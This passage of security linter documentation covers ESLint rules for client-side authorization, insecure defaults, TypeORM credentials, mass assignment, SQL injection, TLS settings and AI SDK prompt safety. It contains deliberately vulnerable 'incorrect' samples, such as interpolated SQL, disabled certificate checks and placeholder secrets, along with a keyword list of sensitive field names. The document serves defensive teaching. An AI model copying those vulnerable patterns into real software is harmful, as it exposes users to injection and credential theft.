'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Conditional Statement"] --> B{"Checks user.role / isAdmin?"} B -->|Yes| C["🚨 Client-Side Auth Risk"] B -->|No| D["✅ Standard Logic"] C --> E["💡 Suggest Server-Side Validation"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------- | -------------------------------------- | ------------------------------------------------------------ | | 🕵️ **Bypass** | Attackers gain admin access | Enforce all permissions in the API layer | | 🚀 **Exfiltration** | Sensitive data exposed to unauthorized | Never send data that the user shouldn't see to the client | | 🔒 **Compliance** | SOC2/ISO27001 audit failure | Implement a Zero-Trust architecture for all backend requests | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Gating sensitive UI/Logic in the frontend if (user.role === 'ADMIN') { showDeleteButton(); enableAdminConsole(); } // Bypassing a check by changing a local variable if (currentUser.isAdmin) { performSensitiveAction(); } ``` ### ✅ Correct [#-correct] ```javascript // Requesting data from a secure API endpoint // The server MUST verify the user's role before returning the data or performing the action. async function fetchData() { const response = await fetch('/api/admin/data'); if (response.status === 403) { handleUnauthorized(); return; } const data = await response.json(); renderAdminUI(data); } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: If the role is assigned to a generic variable name, it will not be flagged. ```javascript // ❌ NOT DETECTED const mode = user.role; if (mode === 'ADMIN') { ... } ``` **Mitigation**: Use consistent naming for security-related properties and audit them carefully. ### Client-Side UI Toggles [#client-side-ui-toggles] **Why**: This rule targets logic. Merely hiding a button (`display: none`) based on a role is not technically a security bypass if the underlying API is secure, but it is often indicative of poor patterns. **Mitigation**: Always assume the client-side code is compromised and enforce everything at the network edge. ## References [#references] * [CWE-602: Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html) * [OWASP: Insecure Direct Object Reference (IDOR)](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control) # require-secure-defaults ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | Medium (Security Hardening) | | **Auto-Fix** | ❌ No (requires configuration review) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All applications | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Insecure default initialization occurs when an application or its dependent libraries are configured with security features explicitly disabled (e.g., `secure: false`, `strictSSL: false`). **Risk:** Software should be secure by default. Developers often disable security features during development and inadvertently leave these insecure settings in production code, leaving the application vulnerable to various attacks depending on the disabled feature. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-1188 OWASP:M8 | Insecure secure defaults detected | MEDIUM [Hardening] Fix: Enforce "Secure by Default" principle; enable security features | https://cwe.mitre.org/data/definitions/1188.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :-------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-1188](https://cwe.mitre.org/data/definitions/1188.html) [OWASP:M8](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Insecure secure defaults detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [Hardening]` | | **Fix Instruction** | Actionable remediation | `Enforce "Secure by Default" principle` | | **Technical Truth** | Official reference | [Insecure Initialization](https://cwe.mitre.org/data/definitions/1188.html) | ## Rule Details [#rule-details] This rule helps identify instances where common property names associated with security (like `secure`, `strictSSL`, `verify`) are explicitly set to `false`. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Object Property"] --> B{"Key is 'secure', 'verify', etc?"} B -->|Yes| C{"Value is false?"} C -->|Yes| D["🚨 Insecure Default Override"] C -->|No| E["✅ Maintaining Secure State"] B -->|No| F["🟡 Standard Configuration"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ----------------- | ------------------------------- | -------------------------------------------------------------- | | 🛡️ **Hardening** | Weakened security posture | Always use the most secure settings available | | 🕵️ **Detection** | Insecure settings hidden in dev | Audit all configuration objects for security overrides | | 🚀 **Stability** | Features behave unexpectedly | Use environment-specific configs with production-safe defaults | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Disabling secure cookies const sessionOptions = { cookie: { secure: false, // ❌ HIGH RISK httpOnly: true, }, }; // Disabling SSL validation in a request library const clientOptions = { strictSSL: false, // ❌ HIGH RISK timeout: 5000, }; // Disabling signature verification const jwtConfig = { verify: false, // ❌ HIGH RISK }; ``` ### ✅ Correct [#-correct] ```javascript // Enabling secure cookies (default should be true) const sessionOptions = { cookie: { secure: true, httpOnly: true, }, }; // Keeping SSL validation enabled const clientOptions = { strictSSL: true, timeout: 5000, }; // Enforcing JWT signature verification const jwtConfig = { verify: true, }; ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Non-Literal Values [#non-literal-values] **Why**: This rule only checks for explicit boolean `false` literals. ```javascript const isDev = process.env.NODE_ENV === 'development'; const options = { secure: isDev ? false : true, // ❌ NOT DETECTED }; ``` **Mitigation**: Use environment-specific configuration files that are strictly audited. ### Unique Property Names [#unique-property-names] **Why**: Many libraries use custom names for their security settings. **Mitigation**: Regularly audit the documentation for all sensitive libraries and ensure security-related settings are hardened. ## References [#references] * [CWE-1188: Insecure Default Initialization](https://cwe.mitre.org/data/definitions/1188.html) * [OWASP Secure Product Design - Secure by Default](https://owasp.org/www-project-secure-product-design/docs/Design_Principles#secure-by-default) * [NIST Security by Design Principles](https://csrc.nist.gov/publications/detail/sp/800-160/vol-1/final) # no-hardcoded-credentials **CWE:** [CWE-798](https://cwe.mitre.org/data/definitions/798.html) **OWASP:** [A07:2021 – Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) Detects a database password written as a literal — as a config property, or embedded in a connection URL. This rule is part of [`eslint-plugin-typeorm-security`](https://www.npmjs.com/package/eslint-plugin-typeorm-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-798](https://cwe.mitre.org/data/definitions/798.html) (Use of Hard-coded Credentials) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] A password in source is a password in git history, in every fork and clone, in every CI log that prints the file, and in every layer of the built image. That is what separates it from most findings: it does not stop being true when you fix it. Deleting the line in a follow-up commit changes nothing — the secret is still one `git log -p` away for anyone who has ever had read access. A real fix means rotating the credential *and* rewriting history, which is expensive enough that in practice it does not happen. The only cheap moment is before the line is committed, which is where this rule sits. ## ❌ Incorrect [#-incorrect] ```ts // ❌ literal password new DataSource({ type: 'postgres', host, username, password: 'hunter2' }); // ❌ the same secret, hidden in a URL new DataSource({ type: 'postgres', url: 'postgres://app:s3cret@db.internal/app' }); ``` ## ✅ Correct [#-correct] ```ts // ✅ read from the environment new DataSource({ type: 'postgres', host, username, password: process.env.DB_PASSWORD }); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A connection URL with no credentials in it.** `postgres://localhost:5432/app` and `postgres://app@db.internal/app` are safe to commit. Only the `user:pass@` userinfo form is a finding. * **An empty password.** `password: ''` is the "no password" sentinel for local trust-auth setups. Reporting it teaches people the rule cries wolf. * **Any runtime value** — `process.env.DB_PASSWORD` (the fix), a template literal, a variable. If the analyzer cannot see the value, there is no secret in the file. * **A login or signup form.** `{ user, password }` and `{ password, confirm }` are not connection configs. The credential cannot be its own evidence that an object connects to a database — the object has to name somewhere to connect *to* (`host`, `port`, `database`, `connectionString`) before its password counts. Without that rule, every app with a login form and a database reports. * **A file that never imports typeorm.** The driver import is the gate that keeps this rule inside its own plugin; generic secret scanning belongs to a dedicated tool. ## When Not To Use It [#when-not-to-use-it] There is no configuration in which committing a database password is correct, so this rule has no options. If a specific line is genuinely a throwaway — a docker-compose fixture, an integration test against an ephemeral container — disable it there with a reason rather than switching the rule off: ```ts // eslint-disable-next-line typeorm-security/no-hardcoded-credentials -- ephemeral test container new DataSource({ type: 'postgres', host, username, password: 'hunter2' }); ``` ## Further Reading [#further-reading] * [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) * [OWASP A07:2021 – Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) * [OWASP: Use of hard-coded password](https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password) # no-mass-assignment **CWE:** [CWE-915](https://cwe.mitre.org/data/definitions/915.html) **OWASP:** [A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) Detects an inbound request object — or a spread of one — reaching a TypeORM write. This rule is part of [`eslint-plugin-typeorm-security`](https://www.npmjs.com/package/eslint-plugin-typeorm-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-915](https://cwe.mitre.org/data/definitions/915.html) (Improperly Controlled Modification of Dynamically-Determined Object Attributes) | | **Severity** | High (CVSS 8.1) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] ```ts await repo.save(req.body); ``` That line updates the fields the endpoint is *about*. It also updates every other column on the model: `role`, `isAdmin`, `ownerId`, `emailVerified`, `credits`, `stripeCustomerId`. None of them appear in the diff, which is why this passes review — the vulnerability is in what the code does not say. It is also one of the few defects that gets worse without anyone touching it. Add a `role` column to the model six months from now and every existing mass-assignment site silently starts accepting it. No line changes; the exposure is new. That is what makes this worth a lint rule rather than a code review habit. `update` takes the payload *second*, after the criteria, so the rule checks every argument rather than a fixed index. ## ❌ Incorrect [#-incorrect] ```ts // ❌ the whole request object await repo.save(req.body); // ❌ spreading it is the same thing await repo.update({ id }, req.body); ``` ## ✅ Correct [#-correct] ```ts // ✅ name the columns this endpoint owns await repo.save({ id, name: req.body.name }); // ✅ or validate into a typed object first const input = plainToInstance(UpdateUserDto, req.body, { excludeExtraneousValues: true }); await repo.update({ id }, input); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A payload that names its fields.** `{ name: req.body.name }` reads one value out of the request; it is the fix, and it is silent. Note that a named field *beside* a spread does not help — `{ ...req.body, updatedAt }` still carries everything the spread brought. * **An object that merely has a `body` or `query` key.** `form.body` and `config.query` are ordinary application objects. The chain has to bottom out in a request-shaped identifier (`req`, `request`, `ctx`, `context`, `event`). * **`ctx.data` / `context.data`.** `data` is ordinary application state in several frameworks, so it is not treated as a request surface — a deliberate false negative in exchange for not reporting code with no request in it. * **A value it cannot see through.** `repo.create(validated)` or `repo.create(buildInput(req))` may still be unsafe, but the rule cannot prove it and will not guess. Guessing is how a security rule earns a false-positive reputation. * **A file that never imports typeorm.** The driver import is the gate that keeps this rule inside its own plugin. ## When Not To Use It [#when-not-to-use-it] There is no configuration in which handing the raw request to a write is correct, so this rule has no options — and deliberately so. An allowlist option would let a project re-approve the dangerous shape wholesale, one config file further from the call site, which is the same mistake with more steps. If a specific call is genuinely safe — an internal job with a payload you construct yourself — disable it there with a reason: ```ts // eslint-disable-next-line typeorm-security/no-mass-assignment -- payload is built in-process, not from a request await repo.save(req.body); ``` ## Further Reading [#further-reading] * [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) * [OWASP A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) * [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) # no-unsafe-query **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects SQL injection in TypeORM raw queries. This rule is part of [`eslint-plugin-typeorm-security`](https://www.npmjs.com/package/eslint-plugin-typeorm-security). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Rule Details [#rule-details] Reports three shapes when they reach a raw-SQL sink: 1. String concatenation — `dataSource.query('SELECT ... ' + value)` 2. Template interpolation — ``dataSource.query(`SELECT ... ${value}`)`` 3. A variable tainted by either, including via `+=`, then passed to a sink ### Sinks [#sinks] `dataSource.query()` / `manager.query()`. Query-builder string fragments (`.where("name = '" + x + "'")`) are not covered yet — use `:name` parameters there. ### ❌ Incorrect [#-incorrect] ```typescript await dataSource.query(`SELECT * FROM users WHERE id = ${userId}`); await dataSource.query('SELECT * FROM users WHERE email = ' + email); let sql = 'SELECT * FROM products WHERE 1=1'; sql += ` AND name = '${name}'`; await dataSource.query(sql); ``` ### ✅ Correct [#-correct] ```typescript await dataSource.query('SELECT * FROM users WHERE id = $1', [userId]); ``` ## Known limitations [#known-limitations] * Only identifier member access is matched, so `dataSource['query'](...)` is a false negative. * Taint tracking is single-scope and name-based — it does not follow a query string across function boundaries. ## Implementation [#implementation] The detection is shared across the driver plugins via `createSqlInjectionRule` in `@interlace/eslint-devkit`; this rule supplies TypeORM's sinks and remediation copy. Install the plugin matching your stack and you get exactly one finding per line. ## Further Reading [#further-reading] * [TypeORM — parameterized queries](https://typeorm.io/#/select-query-builder/using-parameters-to-escape-data) * [OWASP — SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * [CWE-89](https://cwe.mitre.org/data/definitions/89.html) # require-tls **CWE:** [CWE-319](https://cwe.mitre.org/data/definitions/319.html) **OWASP:** [A02:2021 – Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) Detects TypeORM connection configuration that turns TLS off, or that keeps encryption but stops authenticating the server. This rule is part of [`eslint-plugin-typeorm-security`](https://www.npmjs.com/package/eslint-plugin-typeorm-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-319](https://cwe.mitre.org/data/definitions/319.html) (Cleartext Transmission of Sensitive Information) | | **Severity** | High (CVSS 7.4) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] A database connection carries more sensitive data than almost anything else in an application: every query, every row that comes back, and the credentials used to open the session. With TLS off, all of it is readable by anything on the path — a shared VPC, a misconfigured load balancer, a compromised sidecar. The second failure is subtler and more common. `rejectUnauthorized: false` leaves encryption on, so a packet capture looks fine, but the client no longer checks *who* it is talking to. It will happily complete a handshake with an attacker who answered in the database's place, hand over the credentials, and proxy every query. This is why the two cases are reported separately: the fix for the first is "turn TLS on", and the fix for the second is "supply the CA", never "switch the check off". `DataSourceOptions` is flat, and `extra` is the passthrough bag to the underlying driver — both are checked. The mssql driver inverts the flag: `trustServerCertificate` is dangerous when **true**, which is the opposite polarity of every other spelling. ## ❌ Incorrect [#-incorrect] ```ts import { DataSource } from 'typeorm'; // ❌ plaintext export const ds = new DataSource({ type: 'postgres', host, ssl: false }); // ❌ encrypted, unverified export const ds2 = new DataSource({ type: 'postgres', ssl: { rejectUnauthorized: false }, }); // ❌ mssql spells it the other way round — dangerous when true export const ds3 = new DataSource({ type: 'mssql', trustServerCertificate: true }); ``` ## ✅ Correct [#-correct] ```ts import { DataSource } from 'typeorm'; // ✅ CA supplied export const ds = new DataSource({ type: 'postgres', host, ssl: { ca: fs.readFileSync(caPath) }, }); // ✅ mssql, verifying the server export const ds2 = new DataSource({ type: 'mssql', trustServerCertificate: false }); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A value it cannot read.** `ssl: useTls` or `ssl: process.env.DB_SSL === '1'` is a decision made at runtime. Guessing there is how a security rule earns a false-positive reputation, so the rule stays silent — a deliberate false negative in exchange for findings that are always real. * **A TLS key with no connection-shaped neighbour.** `{ rejectUnauthorized: false }` on its own is an https agent or a fetch option, not a database connection. That belongs to `eslint-plugin-node-security`, and reporting it here would double-report the same line from two plugins. * **A file that never imports TypeORM.** The driver import is the gate that keeps this rule inside its own plugin. ## When Not To Use It [#when-not-to-use-it] Local development against a database on the same host — a docker-compose Postgres reached over a loopback socket — has no network to protect. Disable the rule for those files rather than for the project, so the production configuration stays covered: ```js // eslint.config.js export default [ { // Filename-scoped on purpose. A directory glob such as `docker/**` would // also switch the rule off for production connection code that happens to // live there, which is the configuration this rule exists to protect. files: ['**/*.local.ts'], rules: { 'typeorm-security/require-tls': 'off' }, }, ]; ``` ## Further Reading [#further-reading] * [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html) * [CWE-295: Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html) — the weakness behind the `certificateValidationDisabled` finding * [OWASP A02:2021 – Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) * [TypeORM connection options](https://typeorm.io/data-source-options) # Rules Comprehensive coverage of Vercel AI SDK security including prompt injection, output handling, and tool safety. ## All Rules [#all-rules] *** ## Rule Categories [#rule-categories] ### Prompt Injection Prevention [#prompt-injection-prevention] Rules detecting dynamic system prompts, sensitive data in prompts, and system prompt leaks. ### Output Security [#output-security] Rules requiring output validation, filtering, and safe handling of AI responses. ### Tool & Function Safety [#tool--function-safety] Rules requiring tool confirmation, schema validation, and proper error handling. ### Resource Limits [#resource-limits] Rules enforcing max tokens, max steps, request timeouts, and abort signals. ### Audit & Compliance [#audit--compliance] Rules requiring audit logging and RAG content validation. # no-dynamic-system-prompt > Prevents dynamic content in system prompts to avoid agent confusion attacks. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | --------------------------------------------------------------------------------- | | **Type** | problem | | **Severity** | 🔴 HIGH | | **OWASP Agentic** | [ASI01: Agent Confusion](https://owasp.org) | | **CWE** | [CWE-74: Improper Neutralization](https://cwe.mitre.org/data/definitions/74.html) | | **CVSS** | 8.0 | | **Config Default** | `error` (recommended, strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where system prompts contain dynamic or user-controlled content. Dynamic system prompts can lead to agent confusion attacks where the AI's core behavior can be manipulated. Both spellings of the system-prompt option are checked. AI SDK v7 renamed it to `instructions` and marks `system` as deprecated, so the examples below apply identically to `instructions:`. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Template literal with expression await generateText({ system: `You are a ${role} assistant.`, prompt: userInput, }); // String concatenation await generateText({ system: 'You are a ' + role + ' assistant.', prompt: userInput, }); // Function call result await streamText({ system: getSystemPrompt(agentType), prompt: userInput, }); // Async system prompt await generateObject({ system: await fetchSystemPrompt(), prompt: userInput, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Static string literal await generateText({ system: 'You are a helpful assistant.', prompt: userInput, }); // Static constant const SYSTEM = 'You are a helpful coding assistant.'; await generateText({ system: SYSTEM, prompt: userInput, }); // Static template literal (no expressions) await streamText({ system: `You are a helpful assistant. You can help with coding tasks.`, prompt: userInput, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ---------------------- | --------- | ------- | ------------------------------------------- | | `allowStaticTemplates` | `boolean` | `true` | Allow template literals without expressions | ## 🛡️ Why This Matters [#️-why-this-matters] Dynamic system prompts enable attackers to: * **Modify AI core behavior** - Change fundamental instructions * **Bypass safety measures** - Remove content restrictions * **Inject persistent instructions** - Add malicious instructions that persist across conversations * **Create agent confusion** - Make the AI act inconsistently ## 🔗 Related Rules [#-related-rules] * [`no-system-prompt-leak`](./no-system-prompt-leak.md) - Prevent system prompt exposure * [`require-validated-prompt`](./require-validated-prompt.md) - Validate user prompts ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Static Constant from Dynamic Source [#static-constant-from-dynamic-source] **Why**: Constant assignment from dynamic source is not traced. ```typescript // ❌ NOT DETECTED - Constant assigned dynamically const SYSTEM = process.env.SYSTEM_PROMPT; // Dynamic! await generateText({ system: SYSTEM, prompt: userInput }); ``` **Mitigation**: Use hardcoded string literals. Never use env vars for system prompts. ### Conditional System Prompt Selection [#conditional-system-prompt-selection] **Why**: Conditionally selected prompts may be static but appear dynamic. ```typescript // ❌ FALSE POSITIVE RISK - All options are static const PROMPTS = { admin: 'You are admin.', user: 'You are user.' }; await generateText({ system: PROMPTS[role], prompt: userInput }); ``` **Mitigation**: Use if/else with literal strings instead of object lookup. ### Import from Constants File [#import-from-constants-file] **Why**: Imported values are not analyzed. ```typescript // ❌ NOT DETECTED - May be dynamic in source file import { SYSTEM_PROMPT } from './prompts'; await generateText({ system: SYSTEM_PROMPT, prompt: userInput }); ``` **Mitigation**: Apply rule to constants files. Use inline string literals. ## 📚 References [#-references] * [OWASP ASI01: Agent Confusion](https://owasp.org) * [CWE-74: Improper Neutralization](https://cwe.mitre.org/data/definitions/74.html) # no-hardcoded-api-keys > Detects hardcoded API keys and secrets in AI SDK configuration. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ----------------------------------------------------------------------------------------- | | **Type** | problem | | **Severity** | 🔴 CRITICAL | | **OWASP Agentic** | [ASI03: Identity & Privilege Abuse](https://owasp.org) | | **CWE** | [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) | | **CVSS** | 9.8 | | **Config Default** | `error` (all configs) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies hardcoded API keys, tokens, and secrets in your codebase that are used with AI SDK providers. Hardcoded credentials in source code can be exposed through version control, logs, or client bundles. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Hardcoded OpenAI key const openai = createOpenAI({ apiKey: 'sk-proj-abc123xyz789...', }); // Hardcoded in provider function const model = openai('gpt-4', { apiKey: 'sk-1234567890abcdefghij', }); // Hardcoded Anthropic key const anthropic = createAnthropic({ apiKey: 'sk-ant-api03-abcdefghijklmnop', }); // Hardcoded Google API key const google = createGoogle({ apiKey: 'AIzaSyA1234567890abcdefghij', }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Environment variable const openai = createOpenAI({ apiKey: process.env.OPENAI_API_KEY, }); // Config object from environment const anthropic = createAnthropic({ apiKey: config.anthropicApiKey, }); // Dynamic retrieval const google = createGoogle({ apiKey: getSecret('GOOGLE_API_KEY'), }); // No explicit key (uses OPENAI_API_KEY env var by default) const openai = createOpenAI(); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ---------------- | ---------- | ----------------------------------------------------- | ------------------------------------ | | `apiKeyPatterns` | `string[]` | `["apiKey","api_key","token","secret","credentials"]` | Property names that contain API keys | ## 🛡️ Why This Matters [#️-why-this-matters] Hardcoded API keys can be: * **Exposed in git history** - Even if deleted, keys remain in commit history * **Leaked in logs** - Stack traces and error messages may expose keys * **Bundled in client code** - Build processes may include keys in client bundles * **Shared accidentally** - Code sharing, screenshots, or screen recordings may expose keys ## 🔗 Related Rules [#-related-rules] * [`no-sensitive-in-prompt`](./no-sensitive-in-prompt.md) - Prevent sensitive data in prompts ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Keys from Variables [#keys-from-variables] **Why**: Keys stored in variables are not analyzed. ```typescript // ❌ NOT DETECTED - Key from variable const apiKey = 'sk-proj-abc123xyz789...'; const openai = createOpenAI({ apiKey }); ``` **Mitigation**: Use environment variables directly. Never store keys in variables. ### Encoded/Obfuscated Keys [#encodedobfuscated-keys] **Why**: Base64 or other encoded keys are not decoded. ```typescript // ❌ NOT DETECTED - Encoded key const key = Buffer.from('c2stcHJvai1hYmM...', 'base64').toString(); const openai = createOpenAI({ apiKey: key }); ``` **Mitigation**: Never obfuscate keys. Use proper secrets management. ### Keys from Config Files [#keys-from-config-files] **Why**: Keys imported from config files are not visible. ```typescript // ❌ NOT DETECTED - Key from import import { apiKeys } from './config'; const openai = createOpenAI({ apiKey: apiKeys.openai }); ``` **Mitigation**: Apply rule to config files. Use environment variables. ### Template Literal Construction [#template-literal-construction] **Why**: Keys built from parts may not be recognized. ```typescript // ❌ NOT DETECTED - Constructed key const openai = createOpenAI({ apiKey: `sk-${projectId}-${keyPart}`, }); ``` **Mitigation**: Never construct keys dynamically. ## 📚 References [#-references] * [OWASP ASI03: Identity & Privilege Abuse](https://owasp.org) * [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) * [Vercel AI SDK Provider Configuration](https://sdk.vercel.ai/docs/ai-sdk-core/providers) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-798 OWASP:A04 CVSS:9.8 | Hardcoded Credentials detected | CRITICAL [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001,NIST-CSF] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A04_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-798](https://cwe.mitre.org/data/definitions/798.html) [OWASP:A04](https://owasp.org/Top10/A04_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Hardcoded Credentials detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001,NIST-CSF]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A04_2021-Injection/) | # no-sensitive-in-prompt > Prevents sensitive data (passwords, tokens, PII) from being sent to LLMs. ## 📊 Rule Details [#-rule-details] | Property | Value | | ------------------ | ---------------------------------------------------------------------------------------------------------------------- | | **Type** | problem | | **Severity** | 🔴 CRITICAL | | **OWASP LLM** | [LLM02: Sensitive Information Disclosure](https://owasp.org/www-project-top-10-for-large-language-model-applications/) | | **CWE** | [CWE-200: Information Exposure](https://cwe.mitre.org/data/definitions/200.html) | | **CVSS** | 8.5 | | **Config Default** | `error` (recommended, strict) | ## 🔍 What This Rule Detects [#-what-this-rule-detects] This rule identifies code patterns where sensitive data like passwords, API keys, tokens, or personally identifiable information (PII) is passed to AI prompts. LLM providers may log, store, or use this data for training. ## ❌ Incorrect Code [#-incorrect-code] ```typescript // Password in prompt await generateText({ prompt: `Reset password for user. Current password: ${userPassword}`, }); // API key in prompt await generateText({ prompt: `Configure service with key: ${apiKey}`, }); // SSN in prompt await streamText({ prompt: `Process application for SSN: ${socialSecurityNumber}`, }); // Credit card in prompt await generateText({ prompt: `Validate credit card: ${creditCardNumber}`, }); ``` ## ✅ Correct Code [#-correct-code] ```typescript // Redacted data await generateText({ prompt: `Reset password for user. Current password: [REDACTED]`, }); // No sensitive data await generateText({ prompt: `Configure service with the API key stored in environment variables.`, }); // Use redaction helper await streamText({ prompt: `Process application for SSN: ${redact(socialSecurityNumber)}`, }); // Reference instead of value await generateText({ prompt: `Validate the credit card on file for user ${userId}`, }); ``` ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ------------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- | | `sensitivePatterns` | `string[]` | `["password","secret","apiKey","api_key","token","credential","ssn","socialSecurity","creditCard","cardNumber","cvv","privateKey","private_key","accessToken","access_token","refreshToken","refresh_token","authToken","bearer","connectionString","dbPassword","dbUser"]` | Variable patterns that suggest sensitive data | ## 🛡️ Why This Matters [#️-why-this-matters] Sending sensitive data to LLMs can result in: * **Data breach** - LLM providers may store prompts * **Training data poisoning** - Your data may be used to train models * **Compliance violations** - GDPR, HIPAA, PCI-DSS violations * **Third-party exposure** - Data shared with third-party AI providers ## 🔗 Related Rules [#-related-rules] * [`no-hardcoded-api-keys`](./no-hardcoded-api-keys.md) - Prevent hardcoded credentials * [`require-output-filtering`](./require-output-filtering.md) - Filter sensitive tool output ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Variable Names Not Matching Patterns [#variable-names-not-matching-patterns] **Why**: Only configured sensitive patterns are checked. ```typescript // ❌ NOT DETECTED - Custom field name await generateText({ prompt: `Process data: ${mySecretField}`, // Not in sensitivePatterns }); ``` **Mitigation**: Configure `sensitivePatterns` with custom field names. ### Dynamic Prompt Construction [#dynamic-prompt-construction] **Why**: Prompts built at runtime are not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic prompt const fields = [userPassword, apiKey]; const prompt = fields.join(', '); await generateText({ prompt }); ``` **Mitigation**: Never concatenate sensitive data into prompts. ### Nested Object Properties [#nested-object-properties] **Why**: Deep property access may not be recognized. ```typescript // ❌ NOT DETECTED - Nested property await generateText({ prompt: `Reset with: ${user.credentials.password}`, }); ``` **Mitigation**: Configure patterns to match nested sensitive fields. ### Encrypted/Transformed Data 